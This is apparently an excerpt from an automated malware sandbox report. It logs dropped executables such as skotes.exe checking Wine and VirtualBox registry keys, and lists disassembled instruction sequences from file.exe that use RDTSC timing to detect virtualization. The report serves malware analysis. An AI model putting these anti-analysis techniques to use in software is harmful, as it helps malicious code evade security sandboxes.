Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEEBB second address: 6EEEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B7D8 second address: 86B7EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jns 00007F8C3524AD96h 0x0000000f jc 00007F8C3524AD96h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8565FD second address: 856601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856601 second address: 856607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A7B9 second address: 86A7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A7BF second address: 86A7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A7C5 second address: 86A7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A93B second address: 86A95E instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C3524AD98h 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b js 00007F8C3524AD96h 0x00000011 je 00007F8C3524AD96h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A95E second address: 86A976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C34D41AE3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B03F second address: 86B04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8C3524AD96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B04B second address: 86B060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8C34D41ADCh 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B060 second address: 86B095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8C3524ADA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jo 00007F8C3524AD96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B095 second address: 86B099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C9A0 second address: 6EEEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007F8C3524AD9Ch 0x0000000d popad 0x0000000e add dword ptr [esp], 7C1C9461h 0x00000015 mov si, BBBFh 0x00000019 push dword ptr [ebp+122D0D09h] 0x0000001f call 00007F8C3524ADA1h 0x00000024 mov cx, 186Ch 0x00000028 pop edx 0x00000029 mov dword ptr [ebp+122D1D70h], eax 0x0000002f call dword ptr [ebp+122D2C63h] 0x00000035 pushad 0x00000036 cld 0x00000037 xor eax, eax 0x00000039 clc 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e jl 00007F8C3524ADABh 0x00000044 jmp 00007F8C3524ADA5h 0x00000049 mov dword ptr [ebp+122D2F27h], eax 0x0000004f cmc 0x00000050 mov esi, 0000003Ch 0x00000055 mov dword ptr [ebp+122D1CDBh], edx 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f jbe 00007F8C3524ADA1h 0x00000065 jmp 00007F8C3524AD9Bh 0x0000006a lodsw 0x0000006c pushad 0x0000006d push ebx 0x0000006e jne 00007F8C3524AD96h 0x00000074 pop eax 0x00000075 jns 00007F8C3524AD98h 0x0000007b popad 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 sub dword ptr [ebp+122D3AA1h], ecx 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a jmp 00007F8C3524ADA9h 0x0000008f nop 0x00000090 pushad 0x00000091 pushad 0x00000092 push eax 0x00000093 push edx 0x00000094 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB30 second address: 86CB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB36 second address: 86CB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB3B second address: 86CB7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b movzx edi, dx 0x0000000e add ebx, dword ptr [ebp+122D2D63h] 0x00000014 popad 0x00000015 mov dx, 88BFh 0x00000019 push 00000000h 0x0000001b mov ecx, dword ptr [ebp+122D1CCEh] 0x00000021 mov dx, 0C19h 0x00000025 call 00007F8C34D41AD9h 0x0000002a push edi 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB7F second address: 86CB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB83 second address: 86CBDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F8C34D41AE2h 0x00000011 pushad 0x00000012 jc 00007F8C34D41AD6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 pushad 0x00000021 push edi 0x00000022 push esi 0x00000023 pop esi 0x00000024 pop edi 0x00000025 jmp 00007F8C34D41AE3h 0x0000002a popad 0x0000002b mov eax, dword ptr [eax] 0x0000002d push eax 0x0000002e push edx 0x0000002f push ecx 0x00000030 pushad 0x00000031 popad 0x00000032 pop ecx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CBDE second address: 86CC3F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ecx 0x0000000d jmp 00007F8C3524ADA0h 0x00000012 pop ecx 0x00000013 pop eax 0x00000014 sbb edi, 14EAD53Ah 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F8C3524AD98h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 mov dh, 4Ch 0x0000003a mov esi, dword ptr [ebp+122D2EB7h] 0x00000040 push 00000003h 0x00000042 mov dh, ah 0x00000044 call 00007F8C3524AD99h 0x00000049 push eax 0x0000004a push edx 0x0000004b push ecx 0x0000004c pushad 0x0000004d popad 0x0000004e pop ecx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CC3F second address: 86CC9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007F8C34D41AE4h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jne 00007F8C34D41AF5h 0x00000019 mov eax, dword ptr [eax] 0x0000001b jbe 00007F8C34D41AEEh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8C34D41AE0h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CC9F second address: 86CCB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F8C3524AD98h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CCB3 second address: 86CCB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CCB9 second address: 86CCDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 movsx ecx, si 0x0000000c lea ebx, dword ptr [ebp+1245190Dh] 0x00000012 mov edx, 39D4CF0Eh 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8C3524AD9Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CD1C second address: 86CD22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CD22 second address: 86CD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CD26 second address: 86CD54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movzx edx, bx 0x0000000e pushad 0x0000000f mov dword ptr [ebp+1244C886h], edi 0x00000015 sub dword ptr [ebp+122D3AAEh], eax 0x0000001b popad 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D2A18h], eax 0x00000024 push 441D1283h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CD54 second address: 86CDCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F8C3524AD98h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f xor dword ptr [esp], 441D1203h 0x00000016 mov edi, esi 0x00000018 push 00000003h 0x0000001a mov si, di 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F8C3524AD98h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 mov dx, C9B1h 0x0000003d push 00000003h 0x0000003f mov dh, 7Eh 0x00000041 push 4903E029h 0x00000046 je 00007F8C3524AD9Eh 0x0000004c jc 00007F8C3524AD98h 0x00000052 pushad 0x00000053 popad 0x00000054 add dword ptr [esp], 76FC1FD7h 0x0000005b stc 0x0000005c lea ebx, dword ptr [ebp+12451918h] 0x00000062 xchg eax, ebx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 jl 00007F8C3524AD96h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CDCB second address: 86CDE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FB56 second address: 87FB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860581 second address: 860587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860587 second address: 86059D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86059D second address: 8605B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b je 00007F8C34D41ADCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605B0 second address: 8605B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C96C second address: 88C972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C972 second address: 88C987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F8C3524AD96h 0x0000000f jg 00007F8C3524AD96h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C987 second address: 88C98F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C98F second address: 88C995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C995 second address: 88C99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C99B second address: 88C99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C99F second address: 88C9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8C34D41AE5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C9BE second address: 88CA00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jo 00007F8C3524ADADh 0x00000012 jmp 00007F8C3524ADA7h 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB52 second address: 88CB64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007F8C34D41AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB64 second address: 88CB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB68 second address: 88CB8B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jg 00007F8C34D41AD6h 0x00000010 jmp 00007F8C34D41AE1h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB8B second address: 88CB9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F8C3524AD9Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CD08 second address: 88CD1F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C34D41ADEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CD1F second address: 88CD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CD25 second address: 88CD2F instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C34D41AD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CD2F second address: 88CD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CD3F second address: 88CD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CD45 second address: 88CD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CFE2 second address: 88CFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007F8C34D41AE8h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CFF0 second address: 88CFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D425 second address: 88D432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F8C34D41ADCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D432 second address: 88D43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D43C second address: 88D446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8C34D41AD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D446 second address: 88D465 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F8C3524AD96h 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F8C3524AD9Bh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D465 second address: 88D469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881198 second address: 8811B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F8C3524ADA4h 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8811B6 second address: 8811C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8903BC second address: 8903C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8903C0 second address: 8903CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893E87 second address: 893E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893E8D second address: 893E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854B3B second address: 854B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854B4C second address: 854B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854B52 second address: 854B58 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8997DA second address: 8997E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899959 second address: 89995F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
